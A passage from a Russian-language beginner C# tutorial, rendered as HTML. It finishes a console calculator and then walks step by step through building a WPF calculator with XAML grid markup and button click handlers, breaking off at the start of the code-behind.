class=\"k\">null</span><span class=\"p\">;</span><span class=\"w\"> </span><span class=\"c1\">// null означает &quot;пользователь хочет выйти&quot;</span>\n\n<span class=\"w\">            </span><span class=\"k\">if</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"kt\">double</span><span class=\"p\">.</span><span class=\"n\">TryParse</span><span class=\"p\">(</span><span class=\"n\">input</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"k\">out</span><span class=\"w\"> </span><span class=\"kt\">double</span><span class=\"w\"> </span><span class=\"n\">result</span><span class=\"p\">))</span>\n<span class=\"w\">                </span><span class=\"k\">return</span><span class=\"w\"> </span><span class=\"n\">result</span><span class=\"p\">;</span><span class=\"w\"> </span><span class=\"c1\">// успешно прочитали</span>\n\n<span class=\"w\">            </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"s\">&quot;Это не число, попробуй ещё раз.&quot;</span><span class=\"p\">);</span>\n<span class=\"w\">        </span><span class=\"p\">}</span>\n<span class=\"w\">    </span><span class=\"p\">}</span>\n\n<span class=\"w\">    </span><span class=\"c1\">// Выполняет операцию. Возвращает null если операция неверная</span>\n<span class=\"w\">    </span><span class=\"k\">static</span><span class=\"w\"> </span><span class=\"kt\">double?</span><span class=\"w\"> </span><span class=\"n\">Calculate</span><span class=\"p\">(</span><span class=\"kt\">double</span><span class=\"w\"> </span><span class=\"n\">a</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"kt\">string</span><span class=\"w\"> </span><span class=\"n\">op</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"kt\">double</span><span class=\"w\"> </span><span class=\"n\">b</span><span class=\"p\">)</span>\n<span class=\"w\">    </span><span class=\"p\">{</span>\n<span class=\"w\">        </span><span class=\"k\">switch</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"n\">op</span><span class=\"p\">)</span>\n<span class=\"w\">        </span><span class=\"p\">{</span>\n<span class=\"w\">            </span><span class=\"k\">case</span><span class=\"w\"> </span><span class=\"s\">&quot;+&quot;</span><span class=\"p\">:</span><span class=\"w\"> </span><span class=\"k\">return</span><span class=\"w\"> </span><span class=\"n\">a</span><span class=\"w\"> </span><span class=\"o\">+</span><span class=\"w\"> </span><span class=\"n\">b</span><span class=\"p\">;</span>\n<span class=\"w\">            </span><span class=\"k\">case</span><span class=\"w\"> </span><span class=\"s\">&quot;-&quot;</span><span class=\"p\">:</span><span class=\"w\"> </span><span class=\"k\">return</span><span class=\"w\"> </span><span class=\"n\">a</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"w\"> </span><span class=\"n\">b</span><span class=\"p\">;</span>\n<span class=\"w\">            </span><span class=\"k\">case</span><span class=\"w\"> </span><span class=\"s\">&quot;*&quot;</span><span class=\"p\">:</span><span class=\"w\"> </span><span class=\"k\">return</span><span class=\"w\"> </span><span class=\"n\">a</span><span class=\"w\"> </span><span class=\"o\">*</span><span class=\"w\"> </span><span class=\"n\">b</span><span class=\"p\">;</span>\n<span class=\"w\">            </span><span class=\"k\">case</span><span class=\"w\"> </span><span class=\"s\">&quot;/&quot;</span><span class=\"p\">:</span>\n<span class=\"w\">                </span><span class=\"k\">if</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"n\">b</span><span class=\"w\"> </span><span class=\"o\">==</span><span class=\"w\"> </span><span class=\"m\">0</span><span class=\"p\">)</span>\n<span class=\"w\">                </span><span class=\"p\">{</span>\n<span class=\"w\">                    </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"s\">&quot;Ошибка: деление на ноль!\\n&quot;</span><span class=\"p\">);</span>\n<span class=\"w\">                    </span><span class=\"k\">return</span><span class=\"w\"> </span><span class=\"k\">null</span><span class=\"p\">;</span>\n<span class=\"w\">                </span><span class=\"p\">}</span>\n<span class=\"w\">                </span><span class=\"k\">return</span><span class=\"w\"> </span><span class=\"n\">a</span><span class=\"w\"> </span><span class=\"o\">/</span><span class=\"w\"> </span><span class=\"n\">b</span><span class=\"p\">;</span>\n<span class=\"w\">            </span><span class=\"k\">default</span><span class=\"p\">:</span>\n<span class=\"w\">                </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"s\">$&quot;Неизвестная операция &#39;{op}&#39;\\n&quot;</span><span class=\"p\">);</span>\n<span class=\"w\">                </span><span class=\"k\">return</span><span class=\"w\"> </span><span class=\"k\">null</span><span class=\"p\">;</span>\n<span class=\"w\">        </span><span class=\"p\">}</span>\n<span class=\"w\">    </span><span class=\"p\">}</span>\n<span class=\"p\">}</span>\n</code></pre></div>\n\n<p><strong><code>double?</code></strong> — nullable double. Знак <code>?</code> означает «это double, но может быть <code>null</code>». Обычный <code>double</code> не может быть <code>null</code>. Мы используем <code>null</code> как сигнал «что-то пошло не так / пользователь хочет выйти».</p>\n<p>Это финальная версия консольного калькулятора. Она правильно структурирована, безопасна и понятна.</p>\n<hr />\n<h2 id=\"29-wpf-калькулятор-пошаговая-инструкция\">29. WPF-калькулятор — пошаговая инструкция</h2>\n<p>WPF (Windows Presentation Foundation) — это технология для создания оконных приложений с кнопками, полями ввода и красивым интерфейсом.</p>\n<hr />\n<h3 id=\"шаг-1-создать-проект\">Шаг 1: Создать проект</h3>\n<ol>\n<li>Открой Visual Studio</li>\n<li>Нажми <strong>«Создать проект»</strong></li>\n<li>В поиске напиши <strong><code>WPF</code></strong></li>\n<li>Выбери <strong>«Приложение WPF (.NET)»</strong> (не Framework, именно .NET)</li>\n<li>Нажми <strong>Далее</strong></li>\n<li>Имя проекта: <code>WpfCalculator</code></li>\n<li>Нажми <strong>Создать</strong></li>\n</ol>\n<p>Visual Studio создаст проект с двумя файлами:</p>\n<ul>\n<li><code>MainWindow.xaml</code> — описание <strong>внешнего вида</strong> (что видит пользователь)</li>\n<li><code>MainWindow.xaml.cs</code> — <strong>код</strong> (что происходит при нажатии кнопок)</li>\n</ul>\n<blockquote>\n<p>Это ключевая идея WPF: внешний вид и логика разделены.</p>\n</blockquote>\n<hr />\n<h3 id=\"шаг-2-понять-структуру-xaml\">Шаг 2: Понять структуру XAML</h3>\n<p>Открой <code>MainWindow.xaml</code>. Там будет что-то такое:</p>\n<div class=\"highlight\"><pre><span></span><code><span class=\"nt\">&lt;Window</span><span class=\"w\"> </span><span class=\"na\">x:Class=</span><span class=\"s\">&quot;WpfCalculator.MainWindow&quot;</span>\n<span class=\"w\">        </span><span class=\"na\">xmlns=</span><span class=\"s\">&quot;http://schemas.microsoft.com/winfx/2006/xaml/presentation&quot;</span>\n<span class=\"w\">        </span><span class=\"na\">xmlns:x=</span><span class=\"s\">&quot;http://schemas.microsoft.com/winfx/2006/xaml&quot;</span>\n<span class=\"w\">        </span><span class=\"na\">Title=</span><span class=\"s\">&quot;Калькулятор&quot;</span><span class=\"w\"> </span><span class=\"na\">Height=</span><span class=\"s\">&quot;450&quot;</span><span class=\"w\"> </span><span class=\"na\">Width=</span><span class=\"s\">&quot;400&quot;</span><span class=\"nt\">&gt;</span>\n<span class=\"w\">    </span><span class=\"nt\">&lt;Grid&gt;</span>\n\n<span class=\"w\">    </span><span class=\"nt\">&lt;/Grid&gt;</span>\n<span class=\"nt\">&lt;/Window&gt;</span>\n</code></pre></div>\n\n<p><strong>XAML</strong> — это язык разметки (похожий на HTML). Каждый <strong>тег</strong> (<code>&lt;Grid&gt;</code>, <code>&lt;Button&gt;</code>, <code>&lt;TextBox&gt;</code>) — это элемент интерфейса.</p>\n<p><code>&lt;Grid&gt;</code> — это сетка-контейнер. В неё мы будем класть кнопки и текстовые поля.</p>\n<p>Не пугайся длинных строк сверху (<code>xmlns=...</code>) — это просто стандартные подключения, их не нужно трогать.</p>\n<hr />\n<h3 id=\"шаг-3-спроектировать-интерфейс\">Шаг 3: Спроектировать интерфейс</h3>\n<p>Наш калькулятор будет выглядеть так:</p>\n<div class=\"highlight\"><pre><span></span><code>┌─────────────────────────┐\n│  [  0                 ] │  ← поле вывода\n├──────┬──────┬──────┬────┤\n│  7   │  8   │  9   │  / │\n├──────┼──────┼──────┼────┤\n│  4   │  5   │  6   │  * │\n├──────┼──────┼──────┼────┤\n│  1   │  2   │  3   │  - │\n├──────┼──────┼──────┼────┤\n│  0   │  .   │  =   │  + │\n└──────┴──────┴──────┴────┘\n</code></pre></div>\n\n<p>Для этого используем <code>Grid</code> с <strong>строками и столбцами</strong>.</p>\n<hr />\n<h3 id=\"шаг-4-написать-xaml-разметку\">Шаг 4: Написать XAML разметку</h3>\n<p>Замени содержимое <code>MainWindow.xaml</code> на следующее:</p>\n<div class=\"highlight\"><pre><span></span><code><span class=\"nt\">&lt;Window</span><span class=\"w\"> </span><span class=\"na\">x:Class=</span><span class=\"s\">&quot;WpfCalculator.MainWindow&quot;</span>\n<span class=\"w\">        </span><span class=\"na\">xmlns=</span><span class=\"s\">&quot;http://schemas.microsoft.com/winfx/2006/xaml/presentation&quot;</span>\n<span class=\"w\">        </span><span class=\"na\">xmlns:x=</span><span class=\"s\">&quot;http://schemas.microsoft.com/winfx/2006/xaml&quot;</span>\n<span class=\"w\">        </span><span class=\"na\">Title=</span><span class=\"s\">&quot;Калькулятор&quot;</span><span class=\"w\"> </span><span class=\"na\">Height=</span><span class=\"s\">&quot;350&quot;</span><span class=\"w\"> </span><span class=\"na\">Width=</span><span class=\"s\">&quot;300&quot;</span>\n<span class=\"w\">        </span><span class=\"na\">ResizeMode=</span><span class=\"s\">&quot;NoResize&quot;</span><span class=\"nt\">&gt;</span>\n\n<span class=\"w\">    </span><span class=\"nt\">&lt;Grid</span><span class=\"w\"> </span><span class=\"na\">Margin=</span><span class=\"s\">&quot;10&quot;</span><span class=\"nt\">&gt;</span>\n<span class=\"w\">        </span><span class=\"cm\">&lt;!-- Определяем 5 строк и 4 столбца --&gt;</span>\n<span class=\"w\">        </span><span class=\"nt\">&lt;Grid.RowDefinitions&gt;</span>\n<span class=\"w\">            </span><span class=\"nt\">&lt;RowDefinition</span><span class=\"w\"> </span><span class=\"na\">Height=</span><span class=\"s\">&quot;60&quot;</span><span class=\"nt\">/&gt;</span><span class=\"w\">  </span><span class=\"cm\">&lt;!-- строка 0: поле вывода --&gt;</span>\n<span class=\"w\">            </span><span class=\"nt\">&lt;RowDefinition</span><span class=\"w\"> </span><span class=\"na\">Height=</span><span class=\"s\">&quot;*&quot;</span><span class=\"nt\">/&gt;</span><span class=\"w\">   </span><span class=\"cm\">&lt;!-- строка 1: цифры 7 8 9 / --&gt;</span>\n<span class=\"w\">            </span><span class=\"nt\">&lt;RowDefinition</span><span class=\"w\"> </span><span class=\"na\">Height=</span><span class=\"s\">&quot;*&quot;</span><span class=\"nt\">/&gt;</span><span class=\"w\">   </span><span class=\"cm\">&lt;!-- строка 2: цифры 4 5 6 * --&gt;</span>\n<span class=\"w\">            </span><span class=\"nt\">&lt;RowDefinition</span><span class=\"w\"> </span><span class=\"na\">Height=</span><span class=\"s\">&quot;*&quot;</span><span class=\"nt\">/&gt;</span><span class=\"w\">   </span><span class=\"cm\">&lt;!-- строка 3: цифры 1 2 3 - --&gt;</span>\n<span class=\"w\">            </span><span class=\"nt\">&lt;RowDefinition</span><span class=\"w\"> </span><span class=\"na\">Height=</span><span class=\"s\">&quot;*&quot;</span><span class=\"nt\">/&gt;</span><span class=\"w\">   </span><span class=\"cm\">&lt;!-- строка 4: цифры 0 . = + --&gt;</span>\n<span class=\"w\">        </span><span class=\"nt\">&lt;/Grid.RowDefinitions&gt;</span>\n<span class=\"w\">        </span><span class=\"nt\">&lt;Grid.ColumnDefinitions&gt;</span>\n<span class=\"w\">            </span><span class=\"nt\">&lt;ColumnDefinition</span><span class=\"w\"> </span><span class=\"na\">Width=</span><span class=\"s\">&quot;*&quot;</span><span class=\"nt\">/&gt;</span>\n<span class=\"w\">            </span><span class=\"nt\">&lt;ColumnDefinition</span><span class=\"w\"> </span><span class=\"na\">Width=</span><span class=\"s\">&quot;*&quot;</span><span class=\"nt\">/&gt;</span>\n<span class=\"w\">            </span><span class=\"nt\">&lt;ColumnDefinition</span><span class=\"w\"> </span><span class=\"na\">Width=</span><span class=\"s\">&quot;*&quot;</span><span class=\"nt\">/&gt;</span>\n<span class=\"w\">            </span><span class=\"nt\">&lt;ColumnDefinition</span><span class=\"w\"> </span><span class=\"na\">Width=</span><span class=\"s\">&quot;*&quot;</span><span class=\"nt\">/&gt;</span>\n<span class=\"w\">        </span><span class=\"nt\">&lt;/Grid.ColumnDefinitions&gt;</span>\n\n<span class=\"w\">        </span><span class=\"cm\">&lt;!-- Поле вывода: строка 0, занимает все 4 столбца (0..3) --&gt;</span>\n<span class=\"w\">        </span><span class=\"nt\">&lt;TextBox</span><span class=\"w\"> </span><span class=\"na\">x:Name=</span><span class=\"s\">&quot;Display&quot;</span>\n<span class=\"w\">                 </span><span class=\"na\">Grid.Row=</span><span class=\"s\">&quot;0&quot;</span><span class=\"w\"> </span><span class=\"na\">Grid.Column=</span><span class=\"s\">&quot;0&quot;</span><span class=\"w\"> </span><span class=\"na\">Grid.ColumnSpan=</span><span class=\"s\">&quot;4&quot;</span>\n<span class=\"w\">                 </span><span class=\"na\">FontSize=</span><span class=\"s\">&quot;24&quot;</span><span class=\"w\"> </span><span class=\"na\">TextAlignment=</span><span class=\"s\">&quot;Right&quot;</span>\n<span class=\"w\">                 </span><span class=\"na\">IsReadOnly=</span><span class=\"s\">&quot;True&quot;</span><span class=\"w\"> </span><span class=\"na\">Text=</span><span class=\"s\">&quot;0&quot;</span>\n<span class=\"w\">                 </span><span class=\"na\">Margin=</span><span class=\"s\">&quot;2&quot;</span><span class=\"w\"> </span><span class=\"na\">Padding=</span><span class=\"s\">&quot;5&quot;</span><span class=\"nt\">/&gt;</span>\n\n<span class=\"w\">        </span><span class=\"cm\">&lt;!-- Строка 1: 7 8 9 / --&gt;</span>\n<span class=\"w\">        </span><span class=\"nt\">&lt;Button</span><span class=\"w\"> </span><span class=\"na\">Content=</span><span class=\"s\">&quot;7&quot;</span><span class=\"w\"> </span><span class=\"na\">Grid.Row=</span><span class=\"s\">&quot;1&quot;</span><span class=\"w\"> </span><span class=\"na\">Grid.Column=</span><span class=\"s\">&quot;0&quot;</span><span class=\"w\"> </span><span class=\"na\">Margin=</span><span class=\"s\">&quot;2&quot;</span><span class=\"w\"> </span><span class=\"na\">FontSize=</span><span class=\"s\">&quot;18&quot;</span><span class=\"w\"> </span><span class=\"na\">Click=</span><span class=\"s\">&quot;Digit_Click&quot;</span><span class=\"nt\">/&gt;</span>\n<span class=\"w\">        </span><span class=\"nt\">&lt;Button</span><span class=\"w\"> </span><span class=\"na\">Content=</span><span class=\"s\">&quot;8&quot;</span><span class=\"w\"> </span><span class=\"na\">Grid.Row=</span><span class=\"s\">&quot;1&quot;</span><span class=\"w\"> </span><span class=\"na\">Grid.Column=</span><span class=\"s\">&quot;1&quot;</span><span class=\"w\"> </span><span class=\"na\">Margin=</span><span class=\"s\">&quot;2&quot;</span><span class=\"w\"> </span><span class=\"na\">FontSize=</span><span class=\"s\">&quot;18&quot;</span><span class=\"w\"> </span><span class=\"na\">Click=</span><span class=\"s\">&quot;Digit_Click&quot;</span><span class=\"nt\">/&gt;</span>\n<span class=\"w\">        </span><span class=\"nt\">&lt;Button</span><span class=\"w\"> </span><span class=\"na\">Content=</span><span class=\"s\">&quot;9&quot;</span><span class=\"w\"> </span><span class=\"na\">Grid.Row=</span><span class=\"s\">&quot;1&quot;</span><span class=\"w\"> </span><span class=\"na\">Grid.Column=</span><span class=\"s\">&quot;2&quot;</span><span class=\"w\"> </span><span class=\"na\">Margin=</span><span class=\"s\">&quot;2&quot;</span><span class=\"w\"> </span><span class=\"na\">FontSize=</span><span class=\"s\">&quot;18&quot;</span><span class=\"w\"> </span><span class=\"na\">Click=</span><span class=\"s\">&quot;Digit_Click&quot;</span><span class=\"nt\">/&gt;</span>\n<span class=\"w\">        </span><span class=\"nt\">&lt;Button</span><span class=\"w\"> </span><span class=\"na\">Content=</span><span class=\"s\">&quot;/&quot;</span><span class=\"w\"> </span><span class=\"na\">Grid.Row=</span><span class=\"s\">&quot;1&quot;</span><span class=\"w\"> </span><span class=\"na\">Grid.Column=</span><span class=\"s\">&quot;3&quot;</span><span class=\"w\"> </span><span class=\"na\">Margin=</span><span class=\"s\">&quot;2&quot;</span><span class=\"w\"> </span><span class=\"na\">FontSize=</span><span class=\"s\">&quot;18&quot;</span><span class=\"w\"> </span><span class=\"na\">Click=</span><span class=\"s\">&quot;Operation_Click&quot;</span><span class=\"nt\">/&gt;</span>\n\n<span class=\"w\">        </span><span class=\"cm\">&lt;!-- Строка 2: 4 5 6 * --&gt;</span>\n<span class=\"w\">        </span><span class=\"nt\">&lt;Button</span><span class=\"w\"> </span><span class=\"na\">Content=</span><span class=\"s\">&quot;4&quot;</span><span class=\"w\"> </span><span class=\"na\">Grid.Row=</span><span class=\"s\">&quot;2&quot;</span><span class=\"w\"> </span><span class=\"na\">Grid.Column=</span><span class=\"s\">&quot;0&quot;</span><span class=\"w\"> </span><span class=\"na\">Margin=</span><span class=\"s\">&quot;2&quot;</span><span class=\"w\"> </span><span class=\"na\">FontSize=</span><span class=\"s\">&quot;18&quot;</span><span class=\"w\"> </span><span class=\"na\">Click=</span><span class=\"s\">&quot;Digit_Click&quot;</span><span class=\"nt\">/&gt;</span>\n<span class=\"w\">        </span><span class=\"nt\">&lt;Button</span><span class=\"w\"> </span><span class=\"na\">Content=</span><span class=\"s\">&quot;5&quot;</span><span class=\"w\"> </span><span class=\"na\">Grid.Row=</span><span class=\"s\">&quot;2&quot;</span><span class=\"w\"> </span><span class=\"na\">Grid.Column=</span><span class=\"s\">&quot;1&quot;</span><span class=\"w\"> </span><span class=\"na\">Margin=</span><span class=\"s\">&quot;2&quot;</span><span class=\"w\"> </span><span class=\"na\">FontSize=</span><span class=\"s\">&quot;18&quot;</span><span class=\"w\"> </span><span class=\"na\">Click=</span><span class=\"s\">&quot;Digit_Click&quot;</span><span class=\"nt\">/&gt;</span>\n<span class=\"w\">        </span><span class=\"nt\">&lt;Button</span><span class=\"w\"> </span><span class=\"na\">Content=</span><span class=\"s\">&quot;6&quot;</span><span class=\"w\"> </span><span class=\"na\">Grid.Row=</span><span class=\"s\">&quot;2&quot;</span><span class=\"w\"> </span><span class=\"na\">Grid.Column=</span><span class=\"s\">&quot;2&quot;</span><span class=\"w\"> </span><span class=\"na\">Margin=</span><span class=\"s\">&quot;2&quot;</span><span class=\"w\"> </span><span class=\"na\">FontSize=</span><span class=\"s\">&quot;18&quot;</span><span class=\"w\"> </span><span class=\"na\">Click=</span><span class=\"s\">&quot;Digit_Click&quot;</span><span class=\"nt\">/&gt;</span>\n<span class=\"w\">        </span><span class=\"nt\">&lt;Button</span><span class=\"w\"> </span><span class=\"na\">Content=</span><span class=\"s\">&quot;*&quot;</span><span class=\"w\"> </span><span class=\"na\">Grid.Row=</span><span class=\"s\">&quot;2&quot;</span><span class=\"w\"> </span><span class=\"na\">Grid.Column=</span><span class=\"s\">&quot;3&quot;</span><span class=\"w\"> </span><span class=\"na\">Margin=</span><span class=\"s\">&quot;2&quot;</span><span class=\"w\"> </span><span class=\"na\">FontSize=</span><span class=\"s\">&quot;18&quot;</span><span class=\"w\"> </span><span class=\"na\">Click=</span><span class=\"s\">&quot;Operation_Click&quot;</span><span class=\"nt\">/&gt;</span>\n\n<span class=\"w\">        </span><span class=\"cm\">&lt;!-- Строка 3: 1 2 3 - --&gt;</span>\n<span class=\"w\">        </span><span class=\"nt\">&lt;Button</span><span class=\"w\"> </span><span class=\"na\">Content=</span><span class=\"s\">&quot;1&quot;</span><span class=\"w\"> </span><span class=\"na\">Grid.Row=</span><span class=\"s\">&quot;3&quot;</span><span class=\"w\"> </span><span class=\"na\">Grid.Column=</span><span class=\"s\">&quot;0&quot;</span><span class=\"w\"> </span><span class=\"na\">Margin=</span><span class=\"s\">&quot;2&quot;</span><span class=\"w\"> </span><span class=\"na\">FontSize=</span><span class=\"s\">&quot;18&quot;</span><span class=\"w\"> </span><span class=\"na\">Click=</span><span class=\"s\">&quot;Digit_Click&quot;</span><span class=\"nt\">/&gt;</span>\n<span class=\"w\">        </span><span class=\"nt\">&lt;Button</span><span class=\"w\"> </span><span class=\"na\">Content=</span><span class=\"s\">&quot;2&quot;</span><span class=\"w\"> </span><span class=\"na\">Grid.Row=</span><span class=\"s\">&quot;3&quot;</span><span class=\"w\"> </span><span class=\"na\">Grid.Column=</span><span class=\"s\">&quot;1&quot;</span><span class=\"w\"> </span><span class=\"na\">Margin=</span><span class=\"s\">&quot;2&quot;</span><span class=\"w\"> </span><span class=\"na\">FontSize=</span><span class=\"s\">&quot;18&quot;</span><span class=\"w\"> </span><span class=\"na\">Click=</span><span class=\"s\">&quot;Digit_Click&quot;</span><span class=\"nt\">/&gt;</span>\n<span class=\"w\">        </span><span class=\"nt\">&lt;Button</span><span class=\"w\"> </span><span class=\"na\">Content=</span><span class=\"s\">&quot;3&quot;</span><span class=\"w\"> </span><span class=\"na\">Grid.Row=</span><span class=\"s\">&quot;3&quot;</span><span class=\"w\"> </span><span class=\"na\">Grid.Column=</span><span class=\"s\">&quot;2&quot;</span><span class=\"w\"> </span><span class=\"na\">Margin=</span><span class=\"s\">&quot;2&quot;</span><span class=\"w\"> </span><span class=\"na\">FontSize=</span><span class=\"s\">&quot;18&quot;</span><span class=\"w\"> </span><span class=\"na\">Click=</span><span class=\"s\">&quot;Digit_Click&quot;</span><span class=\"nt\">/&gt;</span>\n<span class=\"w\">        </span><span class=\"nt\">&lt;Button</span><span class=\"w\"> </span><span class=\"na\">Content=</span><span class=\"s\">&quot;-&quot;</span><span class=\"w\"> </span><span class=\"na\">Grid.Row=</span><span class=\"s\">&quot;3&quot;</span><span class=\"w\"> </span><span class=\"na\">Grid.Column=</span><span class=\"s\">&quot;3&quot;</span><span class=\"w\"> </span><span class=\"na\">Margin=</span><span class=\"s\">&quot;2&quot;</span><span class=\"w\"> </span><span class=\"na\">FontSize=</span><span class=\"s\">&quot;18&quot;</span><span class=\"w\"> </span><span class=\"na\">Click=</span><span class=\"s\">&quot;Operation_Click&quot;</span><span class=\"nt\">/&gt;</span>\n\n<span class=\"w\">        </span><span class=\"cm\">&lt;!-- Строка 4: 0 . = + --&gt;</span>\n<span class=\"w\">        </span><span class=\"nt\">&lt;Button</span><span class=\"w\"> </span><span class=\"na\">Content=</span><span class=\"s\">&quot;0&quot;</span><span class=\"w\"> </span><span class=\"na\">Grid.Row=</span><span class=\"s\">&quot;4&quot;</span><span class=\"w\"> </span><span class=\"na\">Grid.Column=</span><span class=\"s\">&quot;0&quot;</span><span class=\"w\"> </span><span class=\"na\">Margin=</span><span class=\"s\">&quot;2&quot;</span><span class=\"w\"> </span><span class=\"na\">FontSize=</span><span class=\"s\">&quot;18&quot;</span><span class=\"w\"> </span><span class=\"na\">Click=</span><span class=\"s\">&quot;Digit_Click&quot;</span><span class=\"nt\">/&gt;</span>\n<span class=\"w\">        </span><span class=\"nt\">&lt;Button</span><span class=\"w\"> </span><span class=\"na\">Content=</span><span class=\"s\">&quot;.&quot;</span><span class=\"w\"> </span><span class=\"na\">Grid.Row=</span><span class=\"s\">&quot;4&quot;</span><span class=\"w\"> </span><span class=\"na\">Grid.Column=</span><span class=\"s\">&quot;1&quot;</span><span class=\"w\"> </span><span class=\"na\">Margin=</span><span class=\"s\">&quot;2&quot;</span><span class=\"w\"> </span><span class=\"na\">FontSize=</span><span class=\"s\">&quot;18&quot;</span><span class=\"w\"> </span><span class=\"na\">Click=</span><span class=\"s\">&quot;Dot_Click&quot;</span><span class=\"nt\">/&gt;</span>\n<span class=\"w\">        </span><span class=\"nt\">&lt;Button</span><span class=\"w\"> </span><span class=\"na\">Content=</span><span class=\"s\">&quot;=&quot;</span><span class=\"w\"> </span><span class=\"na\">Grid.Row=</span><span class=\"s\">&quot;4&quot;</span><span class=\"w\"> </span><span class=\"na\">Grid.Column=</span><span class=\"s\">&quot;2&quot;</span><span class=\"w\"> </span><span class=\"na\">Margin=</span><span class=\"s\">&quot;2&quot;</span><span class=\"w\"> </span><span class=\"na\">FontSize=</span><span class=\"s\">&quot;18&quot;</span><span class=\"w\"> </span><span class=\"na\">Click=</span><span class=\"s\">&quot;Equals_Click&quot;</span><span class=\"nt\">/&gt;</span>\n<span class=\"w\">        </span><span class=\"nt\">&lt;Button</span><span class=\"w\"> </span><span class=\"na\">Content=</span><span class=\"s\">&quot;+&quot;</span><span class=\"w\"> </span><span class=\"na\">Grid.Row=</span><span class=\"s\">&quot;4&quot;</span><span class=\"w\"> </span><span class=\"na\">Grid.Column=</span><span class=\"s\">&quot;3&quot;</span><span class=\"w\"> </span><span class=\"na\">Margin=</span><span class=\"s\">&quot;2&quot;</span><span class=\"w\"> </span><span class=\"na\">FontSize=</span><span class=\"s\">&quot;18&quot;</span><span class=\"w\"> </span><span class=\"na\">Click=</span><span class=\"s\">&quot;Operation_Click&quot;</span><span class=\"nt\">/&gt;</span>\n<span class=\"w\">    </span><span class=\"nt\">&lt;/Grid&gt;</span>\n<span class=\"nt\">&lt;/Window&gt;</span>\n</code></pre></div>\n\n<h4 id=\"разбор-xaml\">Разбор XAML</h4>\n<p><strong><code>Grid.Row=\"1\" Grid.Column=\"0\"</code></strong> — говорит элементу: «расположись в строке 1, столбце 0».<br />\nНумерация строк и столбцов начинается с нуля.</p>\n<p><strong><code>Grid.ColumnSpan=\"4\"</code></strong> — элемент занимает 4 столбца подряд (поле дисплея).</p>\n<p><strong><code>x:Name=\"Display\"</code></strong> — даём элементу имя, чтобы обращаться к нему из кода C#.</p>\n<p><strong><code>Click=\"Digit_Click\"</code></strong> — говорит: «когда нажмут эту кнопку, вызови метод <code>Digit_Click</code> в C#». Этот метод мы сейчас напишем.</p>\n<p><strong><code>Height=\"*\"</code></strong> — <code>*</code> означает «занять всё оставшееся место поровну». Все строки с <code>*</code> будут одинаковой высоты.</p>\n<hr />\n<h3 id=\"шаг-5-написать-код-c\">Шаг 5: Написать код C</h3>\n<p>Открой <code>MainWindow.xaml.cs</code>. Там уже есть пустой класс:</p>\n<div class=\"highlight\"><pre><span></span><code><span class=\"k\">public</span><span class=\"w\"> </span><span class=\"k\">partial</span><span class=\"w\"> </span><span class=\"k\">class</span><span class=\"w\"> </span><span class=\"nc\">MainWindow</span><span class=\"w\"> </span><span class=\"p\">:</span><span class=\"w\"> </span><span class=\"n\">Window</span>\n<span class=\"p\">{</span>\n<span class=\"w\">    </span><span class=\"k\">public</span><span class=\"w\"> </span><span class=\"nf\">MainWindow</span><span class=\"p\">()</span>\n<span class=\"w\">    </span><span class=\"p\">{</span>\n<span class=\"w\">        </span><span class=\"n\">InitializeComponent</span><span class=\"p\">();</span>\n<span class=\"w\">    </span><span class=\"p\">}</span>\n<span class=\"p\">}</span>\n</code></pre></div>\n\n<p>Замени его на:</p>\n<div class=\"highlight\"><pre><span></span><code><span class=\"k\">using</span><span class=\"w\"> </span><span class=\"nn\">System.Windows</span><span class=\"p\">;</span>\n\n<span class=\"k\">namespace</span><span class=\"w\"> </span><span class=\"nn\">WpfCalculator</span>\n<span class=\"p\">{</span>\n<span class=\"w\">    </span><span class=\"k\">public</span><span class=\"w\"> </span><span class=\"k\">partial</span><span class=\"w\"> </span><span class=\"k\">class</span><span class=\"w\"> </span><span class=\"nc\">MainWindow</span><span class=\"w\"> </span><span class=\"p\">:</span><span class=\"w\"> </span><span class=\"n\">Window</span>\n<span class=\"w\">    </span><span class=\"p\">{</span>\n<span class=\"w\">        </span><span class=\"c1\">// Поля — помним состояние калькулятора между нажатиями</span>\n<span class=\"w\">        </span><span class=\"k\">private</span><span class=\"w\"> </span><span class=\"kt\">double</span><span class=\"w\"> </span><span class=\"n\">_firstNumber</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"m\">0</span><span class=\"p\">;</span><span class=\"w\">    </span><span class=\"c1\">// первое введённое число</span>\n<span class=\"w\">        </span><span class=\"k\">private</span><span class=\"w\"> </span><span class=\"kt\">string</span><span class=\"w\"> </span><span class=\"n\">_operation</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"s\">&quot;&quot;</span><span class=\"p\">;</span><span class=\"w\">     </span><span class=\"c1\">// выбранная операция (+, -, *, /)</span>\n<span class=\"w\">        </span><span class=\"k\">private</span><span class=\"w\"> </span><span class=\"kt\">bool</span><span class=\"w\"> </span><span class=\"n\">_waitingForSecond</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"k\">false</span><span class=\"p\">;</span><span class=\"w\"> </span><span class=\"c1\">// ждём ли второе число?</span>\n\n<span class=\"w\">        </span><span class=\"k\">public</span><span class=\"w\"> </span><span class=\"nf\">MainWindow</span><span class=\"p\">()</span>\n<span class=\"w\">        </span><span class=\"p\">{</span>\n<span class=\"w\">            </span><span class=\"n\">InitializeComponent</span><span class=\"p\">();</span>\n<span class=\"w\">        </span><span class=\"p\">}</span>\n\n<span class=\"w\">        </span><span class=\"c1\">// Вызывается при нажатии любой цифры (0-9)</span>\n<span class=\"w\">        </span><span class=\"k\">private</span><span class=\"w\"> </span><span class=\"k\">void</span><span class=\"w\"> </span><span class=\"nf\">Digit_Click</span><span class=\"p\">(</span><span class=\"kt\">object</span><span class=\"w\"> </span><span class=\"n\">sender</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"n\">RoutedEventArgs</span><span class=\"w\"> </span><span class=\"n\">e</span><span class=\"p\">)</span>\n<span class=\"w\">        </span><span class=\"p\">{</span>\n<span class=\"w\">            </span><span 